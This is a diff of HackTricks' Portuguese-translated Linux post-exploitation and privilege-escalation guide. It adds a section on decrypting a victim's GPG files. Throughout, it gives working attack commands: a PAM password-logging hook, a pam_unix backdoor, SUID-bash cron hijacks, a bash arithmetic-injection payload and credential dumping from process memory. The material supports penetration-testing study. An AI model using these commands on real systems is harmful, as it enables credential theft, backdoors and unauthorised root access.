diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 2f682f67a..98374401a 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -2,22 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -## Capturando Senhas de Login com PAM +## Sniffing Logon Passwords with PAM + +Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM confira: -Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM, confira: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**Para mais detalhes, confira o [post original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Este é apenas um resumo: +**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Isto é apenas um resumo: -**Visão Geral da Técnica:** -Módulos de Autenticação Pluggable (PAM) oferecem flexibilidade na gestão de autenticação em sistemas baseados em Unix. Eles podem aumentar a segurança personalizando os processos de login, mas também apresentam riscos se mal utilizados. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, juntamente com estratégias de mitigação. +**Technique Overview:** +Pluggable Authentication Modules (PAM) oferecem flexibilidade no gerenciamento de autenticação em sistemas baseados em Unix. Eles podem reforçar a segurança ao customizar processos de login, mas também apresentam riscos se usados indevidamente. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, junto com estratégias de mitigação. -**Capturando Credenciais:** +**Capturing Credentials:** -- Um script bash chamado `toomanysecrets.sh` é criado para registrar tentativas de login, capturando a data, nome de usuário (`$PAM_USER`), senha (via stdin) e IP do host remoto (`$PAM_RHOST`) em `/var/log/toomanysecrets.log`. +- Um script bash chamado `toomanysecrets.sh` é criado para registrar tentativas de login, capturando a data, o nome de usuário (`$PAM_USER`), a senha (via stdin) e o IP do host remoto (`$PAM_RHOST`) em `/var/log/toomanysecrets.log`. - O script é tornado executável e integrado à configuração do PAM (`common-auth`) usando o módulo `pam_exec.so` com opções para rodar silenciosamente e expor o token de autenticação ao script. - A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais de forma discreta. ```bash @@ -31,23 +32,50 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**Para mais detalhes, consulte o [post original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Este é apenas um resumo: +**Para mais detalhes, consulte o [artigo original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Isto é apenas um resumo: -O Módulo de Autenticação Pluggable (PAM) é um sistema usado no Linux para autenticação de usuários. Ele opera em três conceitos principais: **nome de usuário**, **senha** e **serviço**. Os arquivos de configuração para cada serviço estão localizados no diretório `/etc/pam.d/`, onde bibliotecas compartilhadas gerenciam a autenticação. +O Pluggable Authentication Module (PAM) é um sistema usado no Linux para autenticação de usuários. Opera com três conceitos principais: **username**, **password** e **service**. Os arquivos de configuração para cada serviço estão localizados no diretório `/etc/pam.d/`, onde bibliotecas compartilhadas lidam com a autenticação. -**Objetivo**: Modificar o PAM para permitir a autenticação com uma senha específica, contornando a senha real do usuário. Isso é particularmente focado na biblioteca compartilhada `pam_unix.so` usada pelo arquivo `common-auth`, que é incluído por quase todos os serviços para verificação de senha. +**Objetivo**: Modificar o PAM para permitir autenticação com uma senha específica, contornando a senha real do usuário. Isso foca particularmente na biblioteca compartilhada `pam_unix.so` usada pelo arquivo `common-auth`, que é incluído por quase todos os serviços para verificação de senha. -### Passos para Modificar `pam_unix.so`: +### Steps for Modifying `pam_unix.so`: -1. **Localizar a Diretiva de Autenticação** no arquivo `common-auth`: -- A linha responsável por verificar a senha de um usuário chama `pam_unix.so`. -2. **Modificar o Código Fonte**: -- Adicione uma instrução condicional no arquivo de código fonte `pam_unix_auth.c` que concede acesso se uma senha predefinida for usada; caso contrário, prossegue com o processo de autenticação usual. -3. **Recompilar e Substituir** a biblioteca modificada `pam_unix.so` no diretório apropriado. +1. **Localize a Diretiva de Autenticação** no arquivo `common-auth`: +- A linha responsável por checar a senha do usuário chama `pam_unix.so`. +2. **Modifique o Código Fonte**: +- Adicione uma instrução condicional no arquivo fonte `pam_unix_auth.c` que permita acesso se uma senha pré-definida for usada; caso contrário, prossiga com o processo normal de autenticação. +3. **Recompile e Substitua** a biblioteca `pam_unix.so` modificada no diretório apropriado. 4. **Teste**: -- O acesso é concedido em vários serviços (login, ssh, sudo, su, protetor de tela) com a senha predefinida, enquanto os processos normais de autenticação permanecem inalterados. +- O acesso é concedido em vários serviços (login, ssh, sudo, su, screensaver) com a senha pré-definida, enquanto os processos normais de autenticação permanecem inalterados. -> [!DICA] +> [!TIP] > Você pode automatizar esse processo com [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +## Decrypting GPG loot via homedir relocation + +Se você encontrar um arquivo `.gpg` criptografado e a pasta `~/.gnupg` do usuário (pubring, private-keys, trustdb) mas não conseguir descriptografar devido a permissões/bloqueios do homedir do GnuPG, copie o keyring para um local gravável e use-o como seu GPG home. + +Erros típicos que você verá sem isso: "unsafe ownership on homedir", "failed to create temporary file", ou "decryption failed: No secret key" (porque o GPG não consegue ler/escrever o homedir original). + +Fluxo de trabalho: +```bash +# 1) Stage a writable homedir and copy the victim's keyring +mkdir -p /dev/shm/fakehome/.gnupg +cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ +# 2) Ensure ownership & perms are sane for gnupg +chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg +chmod 700 /dev/shm/fakehome/.gnupg +# 3) Decrypt using the relocated homedir (either flag works) +GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg +# or +gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg +``` +Se o material da chave secreta estiver presente em `private-keys-v1.d`, o GPG irá desbloquear e descriptografar sem solicitar a passphrase (ou solicitará se a chave estiver protegida). + + +## Referências + +- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 6920c3a3d..eed490a23 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### Informações do SO -Vamos começar a obter informações sobre o sistema operacional em execução +Vamos começar a obter informações sobre o SO em execução. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,11 +14,11 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`**, pode ser capaz de hijack algumas bibliotecas ou binários: +Se você **tiver permissões de escrita em qualquer diretório dentro da variável `PATH`** pode ser capaz de hijack some libraries or binaries: ```bash echo $PATH ``` -### Informações do ambiente +### Info do ambiente Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ```bash @@ -26,26 +26,26 @@ Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ``` ### Kernel exploits -Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalar privilégios +Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Você pode encontrar uma boa lista de kernels vulneráveis e alguns já **compiled exploits** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Você pode encontrar uma boa lista de kernels vulneráveis e alguns já **compiled exploits** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Outros sites onde você pode encontrar alguns **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Para extrair todas as versões de kernel vulneráveis desse site você pode fazer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Ferramentas que podem ajudar a procurar por kernel exploits são: +Ferramentas que podem ajudar a procurar kernel exploits são: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, apenas verifica exploits para kernel 2.x) -Sempre **pesquise a kernel version no Google**, talvez sua kernel version esteja mencionada em algum kernel exploit e assim você terá certeza de que esse exploit é válido. +Sempre **pesquise a versão do kernel no Google**, talvez a sua versão do kernel esteja mencionada em algum kernel exploit e assim você terá certeza de que esse exploit é válido. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Versão do Sudo +### Versão do sudo -Com base nas versões do sudo vulneráveis que aparecem em: +Com base nas versões vulneráveis do sudo que aparecem em: ```bash searchsploit sudo ``` @@ -69,13 +69,13 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` #### sudo < v1.28 -De @sickrov +Por @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: falha na verificação da assinatura +### Dmesg: falha na verificação de assinatura -Confira **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada +Consulte **smasher2 box of HTB** para um **exemplo** de como esta vuln pode ser explorada ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,16 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se você está dentro de um contêiner docker, pode tentar escapar dele: - +Se você estiver dentro de um docker container, pode tentar escapar dele: {{#ref}} docker-security/ {{#endref}} -## Unidades +## Drives -Verifique **o que está montado e o que não está montado**, onde e por quê. Se algo não estiver montado, você pode tentar montá-lo e verificar informações privadas. +Verifique **o que está montado e desmontado**, onde e por quê. Se algo estiver desmontado, você pode tentar montá-lo e verificar por informações privadas ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumere binários úteis +Enumerar binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma similar) +Além disso, verifique se **any compiler is installed**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software Vulnerável Instalado Verifique a **versão dos pacotes e serviços instalados**. Talvez exista alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalating privileges…\ -Recomenda-se verificar manualmente a versão dos softwares instalados mais suspeitos. +Recomenda-se verificar manualmente a versão do software instalado mais suspeito. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se você tem acesso SSH à máquina, você também pode usar **openVAS** para verificar se há software desatualizado e vulnerável instalado na máquina. +Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se há software instalado desatualizado e vulnerável na máquina. -> [!NOTE] > _Observe que esses comandos vão mostrar muita informação que na maior parte será inútil, portanto recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ +> [!NOTE] > _Observe que esses comandos irão mostrar muitas informações que na maior parte serão inúteis; portanto, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ -## Processos +## Processes -Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado como root?) +Observe quais **processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado por root?) ```bash ps aux ps -ef top -n 1 ``` -Sempre verifique se há [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` na linha de comando do processo.\ +Sempre verifique possíveis [**electron/cef/chromium debuggers** em execução — você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` na linha de comando do processo.\ Também **verifique seus privilégios sobre os binários dos processos**, talvez você consiga sobrescrever algum. ### Monitoramento de processos Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados com frequência ou quando um conjunto de requisitos é atendido. -### Memória do processo +### Memória de processos -Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\ -Normalmente você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto isso costuma ser mais útil quando você já é root e quer descobrir mais credenciais.\ -No entanto, lembre-se que **como usuário comum você pode ler a memória dos processos que você possui**. +Alguns serviços de um servidor armazenam **credenciais em texto claro na memória**.\ +Normalmente você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários; portanto, isso geralmente é mais útil quando você já é root e quer descobrir mais credenciais.\ +No entanto, lembre-se de que **como usuário comum você pode ler a memória dos processos que possui**. > [!WARNING] -> Observe que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode fazer dump de outros processos que pertençam ao seu usuário sem privilégios. +> Observe que hoje em dia a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode dumpar outros processos que pertencem ao seu usuário sem privilégios. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> O arquivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla a acessibilidade do ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, contanto que tenham o mesmo uid. Esta é a forma clássica de como o ptrace funcionava. +> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, contanto que tenham o mesmo uid. Esta é a forma clássica de funcionamento do ptrace. > - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado. -> - **kernel.yama.ptrace_scope = 2**: Apenas admin pode usar ptrace, já que requer a capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário reiniciar para habilitar ptracing novamente. +> - **kernel.yama.ptrace_scope = 2**: somente o administrador pode usar ptrace, pois requer a capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário reiniciar para habilitar ptrace novamente. #### GDB -Se você tiver acesso à memória de um serviço FTP (por exemplo) você pode obter o Heap e procurar nele por credenciais. +Se você tiver acesso à memória de um serviço FTP (por exemplo) você poderia obter o Heap e buscar credenciais dentro dele. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### Script do GDB +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um determinado ID de processo, **maps mostram como a memória é mapeada dentro do espaço de endereços virtual desse processo**; também mostram as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek no arquivo mem e dumpar todas as regiões legíveis** em um arquivo. +Para um determinado ID de processo, **maps mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo**; também mostra as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **exibe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek into the mem file and dump all readable regions** para um arquivo. ```bash procdump() ( @@ -232,13 +231,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` fornece acesso à memória **física** do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.\ -Tipicamente, `/dev/mem` é legível apenas por **root** e pelo grupo **kmem**. +Normalmente, `/dev/mem` só é legível por **root** e pelo grupo kmem. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump para Linux +### ProcDump for linux -ProcDump é uma versão para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Disponível em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump é uma versão para Linux reimaginada da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Obtenha em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,33 +266,33 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Ferramentas -Para fazer dump da memória de um processo você pode usar: +To dump a process memory you could use: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e fazer dump do processo que pertence a você -- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) +- Script A.5 do [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) ### Credenciais da memória do processo #### Exemplo manual -Se você encontrar que o processo authenticator está em execução: +Se você descobrir que o processo do autenticador está em execução: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Você pode dump the process (veja as seções anteriores para encontrar diferentes maneiras de dump the memory of a process) e procurar por credenciais dentro da memória: +Você pode dumpar o processo (veja as seções anteriores para encontrar diferentes maneiras de dumpar a memória de um processo) e procurar por credenciais dentro da memória: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá **roubar credenciais em texto simples da memória** e de alguns **arquivos bem conhecidos**. Requer privilégios de root para funcionar corretamente. +A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) vai **roubar credenciais em texto simples da memória** e de alguns **arquivos bem conhecidos**. Requer privilégios de root para funcionar corretamente. | Funcionalidade | Nome do Processo | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Senha do GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | @@ -314,22 +313,22 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tarefas Agendadas/Cron jobs +## Tarefas agendadas/Cron jobs -Verifique se alguma tarefa agendada está vulnerável. Talvez você possa aproveitar um script executado por root (wildcard vuln? é possível modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). +Verifique se alguma tarefa agendada está vulnerável. Talvez você possa tirar proveito de um script sendo executado por root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Caminho do Cron +### Cron path Por exemplo, dentro de _/etc/crontab_ você pode encontrar o PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Observe como o usuário "user" tem privilégios de escrita sobre /home/user_) +(_Observe como o usuário "user" tem permissões de escrita sobre /home/user_) -Se dentro desse crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ -Então, você pode obter um shell root usando: +Se, dentro deste crontab, o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ +Então, você pode obter uma root shell usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -337,13 +336,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron usando um script com um wildcard (Wildcard Injection) -Se um script é executado pelo root e tem um “**\***” dentro de um comando, você pode explorar isso para causar comportamentos inesperados (como privesc). Exemplo: +Se um script é executado por root e possui um “**\***” dentro de um comando, você pode explorar isso para causar comportamentos inesperados (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, não é vulnerável (nem mesmo** _**./\***_ **é).** +**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, não é vulnerável (nem** _**./\***_ **é).** -Leia a seguinte página para mais wildcard exploitation tricks: +Leia a seguinte página para mais truques de exploração de wildcard: {{#ref}} @@ -353,11 +352,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash executa parameter expansion e command substitution antes da avaliação aritmética em ((...)), $((...)) e let. Se um cron/parser rodando como root lê campos de log não confiáveis e os alimenta em um contexto aritmético, um atacante pode injetar uma command substitution $(...) que será executada como root quando o cron rodar. +O Bash executa parameter expansion e command substitution antes da avaliação aritmética em ((...)), $((...)) e let. Se um root cron/parser lê campos de log não confiáveis e os passa para um contexto aritmético, um atacante pode injetar um command substitution $(...) que será executado como root quando o cron rodar. -- Why it works: No Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, então word splitting e pathname expansion. Portanto um valor como `$(/bin/bash -c 'id > /tmp/pwn')0` é primeiro substituído (executando o comando), depois o restante numérico `0` é usado na aritmética para que o script continue sem erros. +- Por que funciona: No Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, depois word splitting e pathname expansion. Assim, um valor como `$(/bin/bash -c 'id > /tmp/pwn')0` é primeiro substituído (executando o comando), então o `0` numérico restante é usado na aritmética para que o script continue sem erros. -- Typical vulnerable pattern: +- Padrão vulnerável típico: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +366,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Faça com que texto controlado pelo atacante seja escrito no log analisado de modo que o campo com aparência numérica contenha uma command substitution e termine com um dígito. Certifique-se de que seu comando não escreva em stdout (ou redirecione) para que a aritmética permaneça válida. +- Exploração: Faça com que texto controlado pelo atacante seja gravado no log analisado de forma que o campo com aparência numérica contenha um command substitution e termine com um dígito. Garanta que seu comando não escreva para stdout (ou redirecione-o) para que a aritmética permaneça válida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,29 +375,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Se você **puder modificar um cron script** executado como root, você pode conseguir um shell muito facilmente: +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se o script executado por root usa um **directory onde você tem acesso total**, talvez seja útil deletar essa pasta e **criar uma pasta symlink apontando para outra** que sirva um script controlado por você +Se o script executado pelo root usa um **diretório ao qual você tem acesso total**, talvez seja útil deletar esse diretório e **criar um symlink para outro diretório** que sirva um script controlado por você ```bash ln -d -s ``` ### Cron jobs frequentes -Você pode monitorar os processos para procurar processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você consiga tirar proveito disso e escalate privileges. +Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você consiga tirar proveito disso e escalate privileges. -Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e deletar os comandos que foram executados com mais frequência, você pode fazer: +Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e apagar os comandos que foram executados com mais frequência, você pode fazer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso irá monitorar e listar todo processo que iniciar). +**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso irá monitorar e listar todos os processos que forem iniciados). -### Cron jobs invisíveis +### Cronjobs invisíveis -É possível criar um cronjob **inserindo um carriage return após um comentário** (sem caractere de nova linha), e o cron job funcionará. Exemplo (note o caractere carriage return): +É possível criar um cronjob **colocando um retorno de carro após um comentário** (sem o caractere de nova linha), e o cronjob funcionará. Exemplo (observe o caractere de retorno de carro): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -406,57 +405,57 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Arquivos _.service_ graváveis -Verifique se você pode gravar qualquer arquivo `.service`, se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez seja necessário esperar até que a máquina seja reiniciada).\ +Verifique se você pode escrever algum arquivo `.service`; se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise aguardar até que a máquina seja reiniciada).\ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** ### Binários de serviço graváveis -Tenha em mente que se você tiver **permissões de escrita sobre binários executados por serviços**, você pode modificá-los para inserir backdoors de modo que, quando os serviços forem reexecutados, os backdoors sejam executados. +Tenha em mente que se você tem **permissões de escrita sobre binários sendo executados por serviços**, você pode alterá-los para backdoors de modo que quando os serviços forem re-executados os backdoors sejam executados. -### systemd PATH - Caminhos Relativos +### systemd PATH - Caminhos relativos Você pode ver o PATH usado pelo **systemd** com: ```bash systemctl show-environment ``` -Se você descobrir que pode **write** em qualquer uma das pastas do caminho, você pode ser capaz de **escalate privileges**. Você precisa procurar por **relative paths being used on service configurations** em arquivos como: +Se você descobrir que pode **escrever** em qualquer uma das pastas do caminho, pode ser capaz de **escalar privilégios**. Você precisa procurar por **caminhos relativos sendo usados em arquivos de configuração de serviços** como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Então, crie um **executable** com o **mesmo nome que o binário do caminho relativo** dentro da pasta do PATH do systemd que você possa escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), o seu **backdoor será executado** (usuários sem privilégios normalmente não conseguem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). +Então, crie um **executável** com o **mesmo nome do binário de caminho relativo** dentro da pasta systemd PATH que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários não privilegiados normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). **Saiba mais sobre serviços com `man systemd.service`.** ## **Timers** -**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como uma alternativa ao cron, pois possuem suporte nativo para eventos de tempo em calendário e eventos de tempo monotônico, e podem ser executados assincronamente. +**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam `**.service**` files or events. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados assincronamente. Você pode enumerar todos os timers com: ```bash systemctl list-timers --all ``` 